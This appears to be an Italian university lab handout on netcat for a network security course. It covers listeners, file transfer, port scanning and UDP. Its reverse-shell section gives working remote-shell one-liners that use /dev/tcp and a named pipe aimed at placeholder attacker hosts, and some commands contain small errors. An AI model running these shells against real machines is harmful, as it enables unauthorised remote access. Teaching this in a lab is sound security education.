

Lab 2 – Lab su Netcat

Sicurezza dei Sistemi e delle reti

Modulo 4 - Protocolli TCP

Unità didattica 2 – Vulnerabilità di TCP/IP

Stelvio Cimato

Primer su linux

- **Qui intro su comandi, shell e azioni comuni, seguite i tutorial a partire da:**
- **<https://www.digitalocean.com/community/tutorials/a-linux-command-line-primer>**

Netcat

- Netcat è un programma che permette di stabilire comunicazioni TCP e UDP senza alcun livello applicativo: fornisce sostanzialmente il servizio di creazione di un socket a linea di comando. L'uso di base prevede che il server si metta in ascolto (`-l listen`) su di una porta (`-p`): per quelle < 1024 servono i privilegi di root. La porta non deve naturalmente essere già in uso da un altro programma.

`nc [ip address] -p [port] sending`

- `nc -l [port] listening`
- `nc -l 80`
- `nc -l 8080`
- `nc 192.168.100.10 80`
- `HEAD / HTTP/1.0`
- **File transfer**
 - `nc -lvp 8080 > /root/Desktop/pippo`
 - `nc 192.168.100.107 8080 < /root/Desktop/transfer.txt`

- `nc -l -p 8000`
- Il client si connetterà con un parallelo
- `nc 192.168.1.100 12345`
- Bisogna far viaggiare dei dati sulla connessione.
- `echo ciao|nc 192.168.1.100 12345`
- In questo caso il server vede il messaggio "ciao". Vale anche nell'altro senso
- `Echo ciao|nc -l -p 12345`
- Il client riceverà il messaggio al momento del collegamento

Ifconfig e netcat

- **Ifconfig è il comando per configurare le interfacce di rete.**
- **Ifconfig -a**
 - Serve a mostrare tutte (all) le interfacce configurate nel sistema.
- **Un'interfaccia è attiva quando è UP. Affinchè sia utilizzabile in modalità TCP/IP deve avere (almeno 1) un numero IP.**
- **Per cambiare il numero IP di eth01**
ifconfig eth0 10.0.2.16
- **Gli esperimenti possono alterare lo stack rendendolo non funzionante. Riavviare la macchina virtuale per ricominciare. In molti casi basta riavviare semplicemente la configurazione delle interfacce. Nei sistemi della famiglia Debian tramite gli script ifup e ifdown. Es. ifdown eth0 / ifup eth0**

Bind e Reverse Shell



Reverse shell

- **nc -l -t -v 8080**
- **i.e. attacker\$ nc -l -v [ATTACK_HOST_IP] 8080**
- **On "remote" victim computer - run this command**
- **bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1**
- **mknod /tmp/backpipe**
- **Viene creata una "named pipe" di tipo FIFO (First In, First Out),**
 - *cioè una pipe che ha un nome come se fosse un file*
 - *Una pipe, su linux come su windows, è letteralmente un "tubo" o un "condotto" che permette la comunicazione tra più processi incanalando ed incrociando i loro flussi (p.e. lo standard output di un processo può essere riversato come input di un altro processo). FD 0 = stdin; FD1=stdout FD2=stderr*
- **/bin/sh 0</tmp/backpipe | nc attacker_ip 4444 1>/tmp/backpipe**

Port scanning

- **This is how you would scan host 192.168.1.2 from port 20–25. As you can see it detected SSH is open on my Kali linux instance..**
- **% nc -zv 192.168.1.2 20-25 (-zero mode no I/O)**
- **nc: connectx to 192.168.1.2 port 20 (tcp) failed: Connection refused**
- **nc: connectx to 192.168.1.2 port 21 (tcp) failed: Connection refused**
- **Connection to 192.168.1.2 port 22 [tcp/ssh] succeeded!**
- **nc: connectx to 192.168.1.2 port 23 (tcp) failed: Connection refused**
- **nc: connectx to 192.168.1.2 port 24 (tcp) failed: Connection refused**
- **nc: connectx to 192.168.1.2 port 25 (tcp) failed: Connection refused**

Transferring files

- **Su un Netcat server con una pipe tutto l'output viene scritto nel file "receivedfile".**
- **kali@kali:~\$ nc -lvp 3000 > receivedfile**
- **Ncat: Version 7.91 (<https://nmap.org/ncat>)**
- **Ncat: Listening on :::3000**
- **Ncat: Listening on 0.0.0.0:3000**
- **% cat sendfile**
- **This is a test**
- **% cat sendfile | nc 192.168.1.2 3000**

Use Netcat with UDP Protocol

- By default all the sockets that nc utility creates are TCP protocols but this utility also works with UDP protocol. To enable UDP protocol the -u flag is used.
- Server :
\$ nc -4 -u -l 2389
- Client :
\$ nc -4 -u localhost 2389
- Now, both the server and client are configured to use UDP protocol. This can be confirmed by the following netstat command. So we see that this connection is now using the UDP protocol.
- **\$ netstat | grep 2389**
- | | | | | | |
|-----|---|---|-----------------|----------------|-------------|
| udp | 0 | 0 | localhost:42634 | localhost:2389 | ESTABLISHED |
|-----|---|---|-----------------|----------------|-------------|